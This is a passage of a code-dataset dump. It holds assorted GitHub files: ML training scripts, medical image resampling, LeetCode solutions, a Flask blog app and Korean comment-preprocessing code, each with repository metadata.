len(teste_dados)\n\ntaxa_acerto = 100.0 * (total_acertos / total_elementos)\n\nprint(\"Taxa de acerto do algoritmo: %f\" % taxa_acerto)\nprint(total_elementos)\n\n# Algoritmo para verificar a taxa de acerto base\nacerto_base = max(Counter(teste_marcacoes).values())\ntaxa_de_acerto_base = 100.0 * (acerto_base / len(teste_marcacoes))\n\nprint(\"Taxa de acerto base: %f\" % taxa_de_acerto_base)","repo_name":"lucasugarcia/machine-learning-studies-casa-do-codigo","sub_path":"cap4/classifica_buscas.py","file_name":"classifica_buscas.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"5190283180","text":"def DecimalToBinary():\n print('Decimal To Binary Program')\n b='' #this is an empty string to store binary integer value in base 2\n d='' #this is an empty string to store binary decimal value in base 2\n ff='' #this is responsiple for string spliting of the float number\n decimal_points=[] #list of decimal point used to get binary decimal point value\n x=input('Enter number to be converted: ')\n number=x.split('.') #split function to split the float number into integer and decimal point\n if len(number)==1: #this is to eradicate the indexerror created when an integer number only is inserted so this is done by adding 00\n number.append('00')\n #this is the part where one splits the number into two parts integer part and signficand(decimal points or significant numbers)\n integer=number[0] \n significand='.'+number[1]\n i=eval(integer)\n s=eval(significand)\n while i!=0: #this part is for conversion of the integer part into binary \n r=str(i%2)\n b+=r\n i//=2\n print()\n while True: #this part is for the conversion of sigfinicand into binary\n s*=2\n s=str(s)\n f=s.split('.')\n d+=f[0]\n ff='.'+f[1]\n s=float(ff)\n if len(d)==8:\n break\n decimal_points.append(ff) \n #print(decimal_points) this print statement is for debugging purposes to check desired results are the output\n print('Answer: '+x+' Base 10 equals '+str(b[::-1])+'.'+str(d)+' Base 2')\n\nDecimalToBinary()","repo_name":"mholimncube/Python","sub_path":"Tutorial 9 Python Number Systems/DecimalToBinary.py","file_name":"DecimalToBinary.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"34627249141","text":"import os\nfrom pathlib import Path\nfrom multiprocessing import Pool\n\nimport numpy as np\nimport pandas as pd\nimport SimpleITK as sitk\nfrom tqdm import tqdm\n\nproject_dir = Path(__file__).resolve().parents[2]\ndotenv_path = project_dir / \".env\"\n\npath_data_nii = project_dir / \"data/interim/nii_raw\"\npath_output = project_dir / \"data/interim/nii_resampled/\"\n\npath_output.mkdir(parents=True, exist_ok=True)\n# cores = None\ncores = 30\n\n\ndef main():\n \"\"\" Runs data processing scripts to turn raw data from (../raw) into\n cleaned data ready to be analyzed (saved in ../processed).\n \"\"\"\n patient_list = [\n f.name.split(\"__\")[0] for f in path_data_nii.rglob(\"*LUNG*\")\n ]\n resampler = Resampler(\n path_data_nii,\n path_output,\n spacing=(1, 1, 1),\n interp_order=3,\n mask_smoothing=False,\n smoothing_radius=3,\n )\n if cores:\n with Pool(cores) as p:\n # tqdm(p.imap(resampler, patient_list), total=len(patient_list))\n p.map(resampler, patient_list)\n else:\n for p in tqdm(patient_list):\n resampler(p)\n\n\ndef split_lung_mask(lung_sitk):\n lung = sitk.GetArrayFromImage(lung_sitk)\n lung1 = np.zeros_like(lung, dtype=int)\n lung2 = np.zeros_like(lung, dtype=int)\n lung1[lung == 1] = 1\n lung2[lung == 2] = 1\n lung1 = sitk.GetImageFromArray(lung1)\n lung1.SetOrigin(lung_sitk.GetOrigin())\n lung1.SetSpacing(lung_sitk.GetSpacing())\n lung1.SetDirection(lung_sitk.GetDirection())\n lung2 = sitk.GetImageFromArray(lung2)\n lung2.SetOrigin(lung_sitk.GetOrigin())\n lung2.SetSpacing(lung_sitk.GetSpacing())\n lung2.SetDirection(lung_sitk.GetDirection())\n return lung1, lung2\n\n\ndef get_bb_mask_voxel(mask_sitk):\n mask = sitk.GetArrayFromImage(mask_sitk)\n positions = np.where(mask != 0)\n z_min = np.min(positions[0])\n y_min = np.min(positions[1])\n x_min = np.min(positions[2])\n z_max = np.max(positions[0])\n y_max = np.max(positions[1])\n x_max = np.max(positions[2])\n return x_min, y_min, z_min, x_max, y_max, z_max\n\n\ndef get_bb_mask_mm(mask_sitk):\n x_min, y_min, z_min, x_max, y_max, z_max = get_bb_mask_voxel(mask_sitk)\n return (*mask_sitk.TransformIndexToPhysicalPoint(\n [int(x_min), int(y_min), int(z_min)]),\n *mask_sitk.TransformIndexToPhysicalPoint(\n [int(x_max), int(y_max), int(z_max)]))\n\n\nclass Resampler():\n def __init__(\n self,\n path_nii,\n output_path,\n spacing=(1, 1, 1),\n interp_order=3,\n mask_smoothing=False,\n smoothing_radius=3,\n ):\n self.path_nii = path_nii\n self.output_path = output_path\n self.spacing = spacing\n self.interp_order = interp_order\n self.mask_smoothing = mask_smoothing\n self.smoothing_radius = smoothing_radius\n\n def __call__(\n self,\n patient_name,\n ):\n print(f\"resampling patient {patient_name}\")\n # t1 = time.time()\n ct_sitk = sitk.ReadImage(\n str((self.path_nii / (patient_name + \"__CT.nii.gz\")).resolve()))\n pt_sitk = sitk.ReadImage(\n str((self.path_nii / (patient_name + \"__PT.nii.gz\")).resolve()))\n mask_gtvt_sitk = sitk.ReadImage(\n str((self.path_nii /\n (patient_name + \"__GTV_T__RTSTRUCT__CT.nii.gz\")).resolve()))\n mask_gtvl_sitk = sitk.ReadImage(\n str((self.path_nii /\n (patient_name + \"__GTV_L__RTSTRUCT__CT.nii.gz\")).resolve()))\n mask_gtvn_sitk = sitk.ReadImage(\n str((self.path_nii /\n (patient_name + \"__GTV_N__RTSTRUCT__CT.nii.gz\")).resolve()))\n mask_lung_sitk = sitk.ReadImage(\n str((self.path_nii /\n (patient_name + \"__LUNG__SEG__CT.nii.gz\")).resolve()))\n # print(f\"Time reading the files for patient {patient} : {time.time()-t1}\")\n # t1 = time.time()\n output_shape = (np.array(ct_sitk.GetSize()) / np.array(self.spacing) *\n np.array(ct_sitk.GetSpacing()))\n resampler = sitk.ResampleImageFilter()\n if self.interp_order == 3:\n resampler.SetInterpolator(sitk.sitkBSpline)\n # compute center\n # bb_gtvt = get_bb_mask_mm(mask_gtvt_sitk)\n # bb_gtvl = get_bb_mask_mm(mask_gtvl_sitk)\n # z_max = np.max([bb_gtvt[-1], bb_gtvl[-1]])\n # z_min = np.min([bb_gtvt[2], bb_gtvl[2]])\n bb_lung = get_bb_mask_mm(mask_lung_sitk)\n z_max = bb_lung[5]\n z_min = bb_lung[2]\n origin = np.array(ct_sitk.GetOrigin())\n origin[2] = z_min\n z_shape = int((z_max - z_min) / self.spacing[2])\n\n resampler.SetOutputOrigin(origin)\n resampler.SetOutputSpacing(self.spacing)\n resampler.SetSize(\n (int(output_shape[0]), int(output_shape[1]), z_shape))\n\n ct_sitk = resampler.Execute(ct_sitk)\n pt_sitk = resampler.Execute(pt_sitk)\n resampler.SetInterpolator(sitk.sitkNearestNeighbor)\n mask_gtvt_sitk = resampler.Execute(mask_gtvt_sitk)\n mask_gtvl_sitk = resampler.Execute(mask_gtvl_sitk)\n mask_gtvn_sitk = resampler.Execute(mask_gtvn_sitk)\n mask_lung_sitk = resampler.Execute(mask_lung_sitk)\n\n sitk.WriteImage(\n ct_sitk,\n str((self.output_path / (patient_name + \"__CT.nii.gz\")).resolve()))\n sitk.WriteImage(\n pt_sitk,\n str((self.output_path / (patient_name + \"__PT.nii.gz\")).resolve()))\n sitk.WriteImage(\n mask_gtvt_sitk,\n str((self.output_path /\n (patient_name + \"__GTV_T__RTSTRUCT__CT.nii.gz\")).resolve()))\n sitk.WriteImage(\n mask_gtvl_sitk,\n str((self.output_path /\n (patient_name + \"__GTV_L__RTSTRUCT__CT.nii.gz\")).resolve()))\n sitk.WriteImage(\n mask_gtvn_sitk,\n str((self.output_path /\n (patient_name + \"__GTV_N__RTSTRUCT__CT.nii.gz\")).resolve()))\n sitk.WriteImage(\n mask_lung_sitk,\n str((self.output_path /\n (patient_name + \"__LUNG__SEG__CT.nii.gz\")).resolve()))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"voreille/plc_segmentation","sub_path":"src/data/resample_whole_data.py","file_name":"resample_whole_data.py","file_ext":"py","file_size_in_byte":6178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"28215943497","text":"\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nimport numpy as np\nimport os\nfrom keras.utils import plot_model\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nnp.random.seed(1337) # for reproducibility\n\n#oc curve and auc\nfrom sklearn.datasets import make_classification\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import roc_curve\nfrom sklearn.metrics import roc_auc_score\nfrom keras.models import model_from_json\n\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom keras.layers.convolutional import Convolution2D, MaxPooling2D\nfrom keras.layers import LocallyConnected1D\nfrom keras.utils import np_utils\nfrom keras.optimizers import SGD, Adadelta, Adagrad\n\nfrom six.moves import cPickle as pickle\n\nimport tensorflow as tf\nsess = tf.Session(config=tf.ConfigProto(log_device_placement=True))\n\nos.environ[\"PATH\"] += os.pathsep + 'C:/Program Files (x86)/Graphviz2.38/bin/'\n\npickle_files = ['open_eyes_testvalid.pickle', 'closed_eyes_testvalid.pickle']\ni = 0\nfor pickle_file in pickle_files:\n with open(pickle_file, 'rb') as f:\n save = pickle.load(f)\n if i == 0:\n train_dataset = save['train_dataset']\n train_labels = save['train_labels']\n test_dataset = save['test_dataset']\n test_labels = save['test_labels']\n valid_dataset = save['valid_dataset']\n valid_labels = save['valid_labels']\n else:\n print(\"here\")\n train_dataset = np.concatenate((train_dataset, save['train_dataset']))\n train_labels = np.concatenate((train_labels, save['train_labels']))\n test_dataset = np.concatenate((test_dataset, save['test_dataset']))\n test_labels = np.concatenate((test_labels, save['test_labels']))\n valid_dataset = np.concatenate((valid_dataset, save['valid_dataset']))\n valid_labels = np.concatenate((valid_labels, save['valid_labels']))\n del save # hint to help gc free up memory\n i += 1\n\nprint('Training set', train_dataset.shape, train_labels.shape)\nprint('Test set', test_dataset.shape, test_labels.shape)\nprint('valid set', valid_dataset.shape, valid_labels.shape)\n\nbatch_size = 32\nnb_classes = 1\nepochs =50\n\n\nX_train = train_dataset\nX_train = X_train.reshape((X_train.shape[0], X_train.shape[3]) + X_train.shape[1:3])\nY_train = train_labels\n\nX_test = test_dataset\nX_test = X_test.reshape((X_test.shape[0], X_test.shape[3]) + X_test.shape[1:3])\nY_test = test_labels\n\n\nX_valid = valid_dataset\nX_valid = X_valid.reshape((X_valid.shape[0], X_valid.shape[3]) + X_valid.shape[1:3])\nY_valid = valid_labels\n# print shape of data while model is building\nprint(\"{1} train samples, {4} channel{0}, {2}x{3}\".format(\"\" if X_train.shape[1] == 1 else \"s\", *X_train.shape))\nprint(\"{1} test samples, {4} channel{0}, {2}x{3}\".format(\"\" if X_test.shape[1] == 1 else \"s\", *X_test.shape))\nprint(\"{1} valid samples, {4} channel{0}, {2}x{3}\".format(\"\" if X_valid.shape[1] == 1 else \"s\", *X_valid.shape))\n\n# input image dimensions\n_, img_channels, img_rows, img_cols = X_train.shape\n\n# convert class vectors to binary class matrices\n# Y_train = np_utils.to_categorical(y_train, nb_classes)\n# Y_test = np_utils.to_categorical(y_test, nb_classes)\n\nmodel = Sequential()\n\nmodel.add(Convolution2D(32, (3, 3), padding='same',\n input_shape=(img_channels, img_rows, img_cols),data_format='channels_first'))\nmodel.add(Activation('relu'))\nmodel.add(Convolution2D(24, (3, 3), data_format='channels_first'),)\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\n\n\n\nmodel.add(Flatten())\nmodel.add(Dense(512))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\n\nmodel.add(Dense(nb_classes))\nmodel.add(Activation('sigmoid'))\n\n# let's train the model using SGD + momentum (how original).\nsgd = SGD(lr=0.005, decay=1e-6, momentum=0.9, nesterov=True)\nmodel.compile(loss='mean_squared_error', optimizer=sgd , metrics=['accuracy'])\n\n\nimport datetime\nstart=datetime.datetime.now()\n\nhistory=model.fit(X_train, Y_train, batch_size=batch_size, epochs=epochs, verbose=2, validation_data=(X_test, Y_test))\n\nscore = model.evaluate(X_test, Y_test, verbose=1)\n\nprint('Test score:', score[0])\nprint('Test accuracy:', score[1])\n\n\n# Get training and test loss histories\ntraining_loss = history.history['loss']\ntest_loss = history.history['val_loss']\n\n# Create count of the number of epochs\nepoch_count = range(1, len(training_loss) + 1)\n\n# Visualize loss history\nplt.plot(epoch_count, training_loss, 'r--')\nplt.plot(epoch_count, test_loss, 'b-')\nplt.legend(['Training Loss', 'Test Loss'])\nplt.xlabel('Epoch')\nplt.ylabel('Loss')\nplt.show();\n\nplt.figure()\nplt.plot(history.history['acc'])\nplt.plot(history.history['val_acc'])\nplt.title('model accuracy')\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.legend(['train', 'test'], loc='upper left')\nplt.show()\n\n\n\n\nend=datetime.datetime.now()\nelapsed=end-start\nplot_model(model, to_file='modelproposednetworkZJU.png')\nprint('training time',str(elapsed))\n\n# Save the weights\nmodel.save_weights('model_weights_test.h5')\n\n# Save the model architecture\nwith open('model_architecture_test.json', 'w') as f:\n f.write(model.to_json())\n \n \n\nprobs1 = model.predict(X_test)\n# keep probabilities for the positive outcome only\n#probs = probs[:, 1]\n# calculate AUC\nauc1 = roc_auc_score(Y_test, probs1)\nprint('AUC1: %.3f' % auc1)\n# calculate roc curve\nfpr, tpr, thresholds = roc_curve(Y_test, probs1)\n# plot no skill\nplt.plot([0, 1], [0, 1], linestyle='--')\n# plot the roc curve for the model\nplt.plot(fpr, tpr, marker='.')\n# show the plot\nplt.show() \n\n\nprobs2 = model.predict(X_valid)\n# keep probabilities for the positive outcome only\n#probs = probs[:, 1]\n# calculate AUC\nauc2 = roc_auc_score(Y_valid, probs2)\nprint('AUC2: %.3f' % auc2)\n# calculate roc curve\nscore2 = model.evaluate(X_valid,Y_valid, batch_size=32)\nprint(score2)\n\n\n","repo_name":"maryamhashemi1995/Real-Time-Driver-Drowsiness-Detection","sub_path":"prposednet-zju-testvalid.py","file_name":"prposednet-zju-testvalid.py","file_ext":"py","file_size_in_byte":6040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"26599780667","text":"import datetime\nfrom collections import OrderedDict\nfrom db.models import *\n\n\nclass BaseInputModel:\n def __init__(self, teams, league, round):\n self.teams = teams\n self.league = league\n self.round = round\n self.teams = sorted(teams, key=lambda x: x.name)\n self.team2result = OrderedDict()\n for t in self.teams:\n self.team2result[t] = Result(\n round=self.round,\n league=league,\n team=t,\n date=datetime.date.today(),\n round_one_score=0,\n playoff_result=None,\n final_round_score=0\n )\n\n def get_result(self, index):\n return self.team2result[self.teams[index]]\n\n def get_results(self):\n return [(t, self.team2result[t]) for t in self.teams]\n\n\n","repo_name":"jsaric/quiz-manager","sub_path":"models/base_input_model.py","file_name":"base_input_model.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"21017597576","text":"\n# Method 1: Wrong solution\n# class Solution:\n# def maxProfit(self, prices: List[int]) -> int:\n# hashmap = {}\n# for price, order in enumerate(prices):\n# hashmap[order] = price\n \n# res = []\n# while hashmap:\n# min_num = min(hashmap.keys())\n# max_num = max(hashmap.keys())\n# if hashmap[min_num] < hashmap[max_num]:\n# res.append(max_num - min_num) # can't do that\n# hashmap.pop(min_num)\n# hashmap.pop(max_num)\n# return sum(res)\n\n# Method 2: Eve's solution\nclass Solution:\n def maxProfit(self, prices: List[int]) -> int:\n res = 0\n \n if len(prices) == 1:\n res = 0\n else:\n for i in range(1, len(prices)):\n if prices[i] > prices[i - 1]:\n res += prices[i] - prices[i - 1]\n return res\n \n# Method 3: hint in https://www.cnblogs.com/grandyang/p/4280803.html\nclass Solution:\n def maxProfit(self, prices: List[int]) -> int:\n res = 0\n \n for i in range(0, len(prices) - 1):\n if prices[i] < prices[i + 1]:\n res += prices[i + 1] - prices[i]\n return res\n \n \n","repo_name":"EveChen/Leetcode_Practice","sub_path":"122_Best_Time_to_Buy_and_Sell_Stock_II/2_solutions.py","file_name":"2_solutions.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"39869362528","text":"import inspect\nimport os\nimport sys\n\ndef AssertIsValidRespireFunction(function):\n function_module = sys.modules[function.__module__]\n if not hasattr(function_module, function.__name__):\n raise Exception(\n 'Only named top-level functions are valid in this context.')\n\n\ndef GetCallerScript():\n this_source = inspect.getsourcefile(sys.modules[__name__])\n stack = inspect.stack()\n stack_index = 0\n\n for i in range(0, 2):\n while stack_index < len(stack) and stack[stack_index][1] == this_source:\n stack_index += 1\n this_source = stack[stack_index][1]\n\n if stack_index < len(stack):\n return stack[stack_index][1]\n else:\n return None\n\n\ndef ResolveFilepathRelativeToCallerScript(filepath):\n '''Returns an absolute filepath relative to the calling script's directory.'''\n if os.path.isabs(filepath):\n return filepath\n caller_script = GetCallerScript()\n if caller_script:\n return os.path.join(os.path.abspath(os.path.dirname(caller_script)),\n filepath)\n else:\n return os.path.abspath(filepath)\n","repo_name":"aabtop/respire","sub_path":"src/python/buildlib/respire/buildlib/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"42778398373","text":"import mock\n\nfrom toucan_connectors.google_adwords.helpers import apply_filter, clean_columns\n\n\ndef test_apply_filter(mocker):\n \"\"\"Check that apply_filter is able to correctly build a query with the\n given filter_dict\n \"\"\"\n list_of_filter_dict_keys = [\n 'EqualTo',\n 'Contains',\n 'ContainsAll',\n 'ContainsAny',\n 'ContainsIgnoreCase',\n 'DoesNotContain',\n 'GreaterThan',\n 'GreaterThanOrEqualTo',\n 'DoesNotContainIgnoreCase',\n 'In',\n 'LessThan',\n 'LessThanOrEqualTo',\n 'ContainsNone',\n 'ContainsNone',\n 'NotIn',\n 'NotEqualTo',\n 'StartsWith',\n 'StartsWithIgnoreCase',\n ]\n mocked_query_builder = mock.Mock()\n\n for f in list_of_filter_dict_keys:\n apply_filter(mocked_query_builder, {'foo': {'operator': f, 'value': 'bar'}})\n assert mocked_query_builder.Where.call_count == 18\n assert mocked_query_builder.Where().EqualTo.call_count == 1\n assert mocked_query_builder.Where().LessThan.call_count == 1\n assert mocked_query_builder.Where().StartsWithIgnoreCase.call_count == 1\n\n\ndef test_clean_columns():\n \"\"\"\n Check that clean colum correctly returns a list of\n column names with lowered first letter\n \"\"\"\n assert clean_columns('Id, AdCampaignId, CampaignId') == ['id', 'adCampaignId', 'campaignId']\n","repo_name":"ToucanToco/toucan-connectors","sub_path":"tests/google_adwords/test_helpers.py","file_name":"test_helpers.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"36"} +{"seq_id":"14822336659","text":"#\n# @lc app=leetcode.cn id=400 lang=python3\n#\n# [400] 第N个数字\n#\n# https://leetcode-cn.com/problems/nth-digit/description/\n#\n# algorithms\n# Easy (30.10%)\n# Total Accepted: 2.1K\n# Total Submissions: 7K\n# Testcase Example: '3'\n#\n# 在无限的整数序列 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, ...中找到第 n 个数字。\n#\n# 注意:\n# n 是正数且在32为整形范围内 ( n < 231)。\n#\n# 示例 1:\n#\n#\n# 输入:\n# 3\n#\n# 输出:\n# 3\n#\n#\n# 示例 2:\n#\n#\n# 输入:\n# 11\n#\n# 输出:\n# 0\n#\n# 说明:\n# 第11个数字在序列 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, ... 里是0,它是10的一部分。\n#\n#\n#\n\n\nclass Solution:\n def findNthDigit(self, n: 'int') -> 'int':\n digit = 1\n while True:\n first = 10**(digit-1)\n cnt = 9 * first * digit\n if cnt >= n:\n return int(str(first + (n-1)//digit)[(n-1) % digit])\n n -= cnt\n digit += 1\n","repo_name":"ZodiacSyndicate/leet-code-solutions","sub_path":"easy/400.第n个数字/400.第n个数字.py","file_name":"400.第n个数字.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"zh","doc_type":"code","stars":45,"dataset":"github-code","pt":"36"} +{"seq_id":"2327033368","text":"import functools\n\n\ndef cmp(a, b):\n return int(a > b) - int(a < b)\n\n\ndef parse_line(line):\n points = line.split(\" -> \")\n return [(int(p[0]), int(p[1])) for p in points.split(\",\")]\n\n\nstrokes = []\nwith open(\"data/input.txt\") as f:\n lines = f.readlines()\n for line in lines:\n points = line.split(\" -> \")\n print([p for point in points for p in point.split(\",\")])\n strokes.append(\n [(int(p[0]), int(p[1])) for point in points for p in point.split(\",\")]\n )\n\npoints = [s for s in strokes for (x, y) in s]\nminx = min([x for (x, y) in points])\nmaxx = max([x for (x, y) in points])\nmaxy = min([y for (x, y) in points])\nmap = [[\" \"] * (maxx + 1 - minx) for i in range(maxy + 1)]\n\n\ndef printmap(map):\n for l in map:\n print(\"\".join(map[l]))\n\n\nfor s in strokes:\n for i in range(len(s) - 1):\n [p0, p1] = s[i : i + 1]\n [dx, dy] = [abs(p1[0] - p0[0]), abs(p1[1] - p0[1])]\n [x, y] = [min(p1[0], p0[0]), min(p1[1], p0[1])]\n for i in range(max(dx, dy) + 1):\n map[y][x - minx] = \"#\"\n [x, y] = [x + dx, y + dy]\nprintmap(map)\n\n# print(f\"part 1 = {acc}\")\n","repo_name":"TheJare/aoc2022","sub_path":"day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"11040201440","text":"from flask import render_template,request,redirect,url_for,abort,flash\nfrom . import main\nfrom ..models import Comment,User,Blog,Subscriber\nfrom .forms import CommentForm,UpdateProfile,UpdateProfile,BlogPost,SubscriberForm\nfrom flask_login import login_required, current_user\nfrom .. import db,photos\nfrom datetime import datetime\nfrom app.request import get_random_quotes\nfrom wtforms import validators\nfrom ..email import mail_message\n\n@main.route('/')\ndef index():\n quotes = get_random_quotes()\n title = 'Home - Welcome To BeezBlog'\n return render_template('index.html',quotes = quotes,title = title)\n\n@main.route('/user/')\ndef profile(uname):\n user = User.query.filter_by(username = uname).first()\n \n \n if user is None:\n abort(404)\n return render_template('profile/profile.html',user = user)\n \n@main.route('/user//update',methods = ['GET','POST'])\n@login_required\ndef update_profile(uname):\n user = User.query.filter_by(username = uname).first()\n if user is None:\n abort(404)\n\n form = UpdateProfile()\n\n if form.validate_on_submit():\n user.bio = form.bio.data\n\n db.session.add(user)\n db.session.commit()\n\n return redirect(url_for('.profile',uname=user.username))\n return render_template('profile/update.html',form =form)\n\n@main.route('/user//update/pic',methods= ['POST'])\n@login_required\ndef update_pic(uname):\n user = User.query.filter_by(username = uname).first()\n if 'photo' in request.files:\n filename = photos.save(request.files['photo'])\n path = f'photos/{filename}'\n user.profile_pic_path = path\n db.session.commit()\n return redirect(url_for('main.profile',uname=uname))\n\n@main.route('/blogs/new_blog',methods = ['GET','POST']) \n@login_required\ndef new_blog():\n subscribers = Subscriber.query.all()\n blog_form = BlogPost()\n blog = Blog.query.order_by(Blog.date_posted.desc()).all()\n if blog_form.validate_on_submit():\n \n blog_title = blog_form.blog_title.data\n blog_author = blog_form.blog_author.data\n blog_content =blog_form.blog_content.data\n \n new_blog = Blog(title =blog_title ,author = blog_author,content = blog_content,user = current_user)\n \n db.session.add(new_blog)\n db.session.commit()\n \n for subscriber in subscribers:\n # mail_message('A new blog','email/new_blog',subscriber.email,new_blog=new_blog)\n return redirect(url_for('main.index'))\n flash = ('New Blog..Check it out')\n title = 'blogs'\n return render_template('new_blog.html',title = title, BlogPost = blog_form )\n\n@main.route('/Update/',methods = ['GET','POST'])\n@login_required\ndef blogs():\n blogs = Blog.query.get_or_404(id)\n if blog.user != current_user:\n abort(404)\n form = BlogPost()\n if form.validate_on_submit():\n blogs.blog_title = form.blog_title.data\n blogs.blog_author = form.blog_author.data\n blogs.blog_content = form.blog_content.data\n db.session.commit()\n return redirect(url_for('main.blog'))\n elif request.method == 'GET':\n form.blog_title = form.blog_title\n form.blog_author = form.blog_author\n form.blog_content = form.blog_content\n return render_template('new_blog.html',form = form)\n \n@main.route('/delete/', methods=['GET','POST']) \n@login_required\ndef delete(id):\n blog = Blog.query.get_or_404(id)\n if blog.user != current_user:\n abort(404)\n db.session.delete(blog)\n db.session.commit()\n return redirect(url_for('main.blog'))\n# chang the BlogPosts here to Blogs\n\n@main.route('/delete_comment/', methods=['GET', 'POST'])\n@login_required\ndef deleteComment(comment_id):\n comment =Comment.query.get_or_404(comment_id)\n if (comment.user.id) != current_user.id:\n abort(404)\n db.session.delete(comment)\n db.session.commit()\n flash('comment succesfully deleted')\n return redirect (url_for('main.blog'))\n\n@main.route('/blogs/edit/',methods = ['GET','POST'])\n@login_required\ndef edit(id):\n blog = Blog.query.get_or_404(id)\n if request.method == 'POST':\n blog.title = request.form['title']\n blog.author = request.form['author']\n blog.content = request.form['content']\n db.session.commit()\n return redirect (url_for('main.blog'))\n else:\n return render_template('blogs.html',blog = blog)\n \n@main.route('/blogs/allblogs',methods = ['GET','POST'])\n@login_required\ndef blog():\n blog = Blog.query.all()\n print(\"Our results\",blog)\n return render_template('blogs.html',blog=blog)\n \n@main.route('/comment/',methods= ['POST','GET'])\n\n@login_required\ndef viewBlog(id):\n blog = Blog.query.get_or_404(id)\n comments = Comment.query.filter_by(blog_id = id).all()\n comment_form = CommentForm()\n if comment_form.validate_on_submit():\n new_comment = Comment(blog_id = id).all()\n new_comment.save_comment()\n \n return render_template('comment.html',comment_form = comment_form,comments = comments,blog = blog)\n\n@main.route('/subscribe',methods = ['GET','POST'])\ndef subscriber():\n quotes = get_random_quotes()\n subscriber_form = SubscriberForm()\n blog = Blog.query.order_by(Blog.date_posted.desc()).all()\n if subscriber_form.validate_on_submit():\n subscriber = Subscriber(email=subscriber_form.email.data,name = subscriber_form.name.data)\n \n db.session.add(subscriber)\n db.session.commit()\n \n mail_message('Welcome to BeezBlog','email/subscriber',subscriber.email,subscriber=subscriber)\n \n title = 'BeezBlog'\n return render_template('index.html',title=title, blog=blog,quotes = quotes)\n subscriber = Blog.query.all()\n blog = Blog.query.all()\n return render_template('subscribe.html',subscriber=subscriber,subscriber_form=subscriber_form,blog=blog)\n \n ","repo_name":"Barnabas27/My-Blog","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"72493865644","text":"# import sys\n# sys.path.append('/home/ubuntu/final_pj') # 같은 선상에 있는 파일이 아니기 때문에\n# from crawling_funcs import *\n# from extra_funcs import *\n# from db_connect import * \n# from video_list import *\n# from recent_highview_list import * \n\n# 여기서 사용 안하는 패키지들이라 주석 처리했습니다.\n\nimport pandas as pd\nimport re\nimport emoji #ec2 설치완료\nfrom soynlp.normalizer import *\nimport langid #ec2 설치완료\nimport plotly.express as px\n\n# 전처리 함수\ndef preprocessing(df):\n\n def process_text(text):\n result = re.sub('(?=\\)', '' , text) # a태그 제거\n result = re.sub('(?=\\)', '' , text) # b태그 제거\n result = re.sub('(
)+', '' , result) #
태그 제거\n result = re.sub('[\\n\\t]', ' ', result) # 줄바꿈, 텝 -> 띄어쓰기로 대체\n result = re.sub('(")', '' , result) # " 제거\n result = re.sub(r'@[^ ]*', '', result) # 답댓글시 @닉네임 제거\n result = re.sub('(<)', '' , result) # < 제거 \n result = re.sub('(>)', '' , result) #> 제거 \n result = re.sub('()', '' , result) # \n result = re.sub('()', '' , result) # \n result = re.sub('()', '' , result) # \n result = re.sub('()', '' , result) # \n\n result = emoticon_normalize(result, num_repeats=2) # 이모지, 특수문자 정규화\n result = repeat_normalize(result, num_repeats=2)\n \n return result.strip()\n \n df.dropna(inplace=True) # nan value 있는 행 제거\n df.drop_duplicates(inplace=True) #중복 행 제거 \n df = df[df['content'].str.len() > 1] # 댓글 길이가 한 글자면 제거\n df['processed_content'] = df['content'].apply(process_text)\n \n emoji_text = ''.join(set(list(emoji.EMOJI_DATA.keys()))) # 이모지 데이터\n\n #♥ ♡ .!,? 제외한 특수문자와 일반문자 수 비교 후 특수문자 더 많을 시 해당 댓글 제거\n indices_to_drop = [] # 제거할 데이터의 인덱스를 저장할 리스트\n \n for i, content in enumerate(df['processed_content']):\n normal_text = len(re.findall(f'[\\w\\s\\{emoji_text}\\♥ ♡ .!,?]', content))\n special_text = len(re.findall(f'[^\\w\\s\\{emoji_text}\\♥ ♡ .!,?]', content))\n\n if normal_text >= special_text:\n pass\n else:\n indices_to_drop.append(i)\n\n df = df.drop(indices_to_drop).reset_index(drop=True)\n\n #emoji, 특수문자로 구성된 댓글 etc로 필터링(추후에 kcelectra 감성 분류)\n for i, content in enumerate(df['processed_content']):\n if re.search(rf'^(?:[^\\w\\s]|{emoji_text})+$', content):\n df.loc[i, 'lang'] = 'etc'\n \n # 언어 판별 모듈 정확도 높이기 위하여 emoji, 특수문자 제거 후 언어판별용 칼럼인 for_langid에 할당\n df['for_langid'] = df['processed_content'].apply(lambda x: re.sub(rf'([^\\w\\s]|{emoji_text})', '', x))\n\n return df\n\n\n# 언어 분류 함수\ndef identify_lang(df):\n df['lang'] = df.apply(lambda row: 